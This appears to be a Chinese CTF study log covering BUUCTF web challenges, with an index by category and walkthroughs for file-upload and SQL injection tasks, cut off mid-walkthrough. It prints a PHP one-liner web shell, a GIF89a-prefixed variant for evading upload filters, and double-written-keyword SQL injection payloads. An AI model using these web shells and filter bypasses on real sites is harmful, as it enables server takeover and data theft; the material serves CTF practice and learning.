BUUCTF-page_1 总结(中:13-19)
---钦原.2021-5月末
总目录整理:
文件包含类:
1: HCTF-warmup-2018:php(审计文件包含)
4.[ACTF2020 新生赛]Include
5.[极客大挑战 2019]Secret File
SQL注入类:
2.Web-强网杯sql随便注:
3.[SUCTF 2019]EasySQL
6.[极客大挑战 2019]LoveSQL
15.[极客大挑战 2019]BabySQL
21.[极客大挑战 2019]HardSQL
25.[GYCTF2020]Blacklist
22.[CISCN2019 华北赛区 Day2 Web1]Hack World
26.[GXYCTF2019]BabySQli
命令执行类:
7.[ACTF2020 新生赛]Exec
8.[GXYCTF2019]Ping Ping Ping
框架特性利用类:
9.[护网杯 2018]easy_tornado
php解析特性绕过利用类:
10.[RoarCTF 2019]Easy Calc
HTTP请求头等基础题类:
11.[极客大挑战 2019]Http
17.[极客大挑战 2019]BuyFlag(考察逻辑漏洞-特定身份登录+php弱类型+post传参)
16.[ACTF2020 新生赛]BackupFile(php弱类型比较)
18.[BJDCTF2020]Easy MD5
24.[MRCTF2020]Ez_bypass(弱类型)
审计-反序列化类:
12.[极客大挑战 2019]PHP---> php-serialize()反序列化
20.[ZJCTF 2019]NiZhuanSiWei
31.[网鼎杯 2020 青龙组]AreUSerialz
27.[网鼎杯 2018]Fakebook (sql+反序列化+ssrf)
28.[网鼎杯 2020 青龙组]AreUSerialz
文件上传类:
13.[极客大挑战 2019]Upload
14.[ACTF2020 新生赛]Upload
19.[SUCTF 2019]CheckIn
23.[MRCTF2020]你传你马呢?
--------------------------------------------------------------------------------------------------------------------------------------------------------
13.[极客大挑战 2019]Upload
l 考点:文件上传及其绕过
l 思路:裸马测试逐渐分析检测规则并绕过
l 涉及知识点:见文
l 具体做法:
打开环境是一个上传图片的页面
1:先直接上传没有任何绕过的php马(后文统称:裸马):<?php eval($_POST['jazz'])?>
提示说不是图片,需要抓包改文件格式。将Content-Type里面的格式改为image/jpeg
提示后缀违规:尝试常见绕过后缀,发现phtml可以。
改为phtml后:发现提示一句话中带 <? 都不行
故切换一句话木马:
GIF89a? <script language="php">eval($_REQUEST[‘jazz’])</script>
知识点:文件内容头校验(GIF89a)
文件头校验
判断文件头内容是否符合要求,这里举几个常见的文件头对应关系:
(1) .JPEG;.JPE;.JPG,”JPGGraphic File”
(2) .gif,”GIF 89A”
(3) .zip,”Zip Compressed”
(4) .doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfile”
上传抓包:
1:绕过文件头检验 :GIF89a?
2:绕过<?检验 :<script language="php">eval($_REQUEST[‘jazz’])</script>
3:绕过文件类型检验 :更改Content-Type: image/jpeg
根目录中即可见flag
14.[ACTF2020 新生赛]Upload
打开页面上传裸马发现 前端验证后缀:
选择绕过前端验证思路:
F12删除js中的对应检测代码(如:事件):
F12得:
删除onsubmit事件对应代码块
裸马被拦截:
尝试用不同后缀上传,发现phtml可以
故:
1. 删除js检测事件
2. 上传phtml得一句话
菜刀链接即可:
*又在index.php发现了文件后缀的具体过滤规则:*
15.[极客大挑战 2019]BabySQL
单引号闭合
过滤了 and、select、or、from、union 、 where
大小写无法绕过
内部双写可以
payload:
'uniunionon selselectect 1,2,3#
则:回显可能在2,3
'uniunionon selselectect 1,database(),3#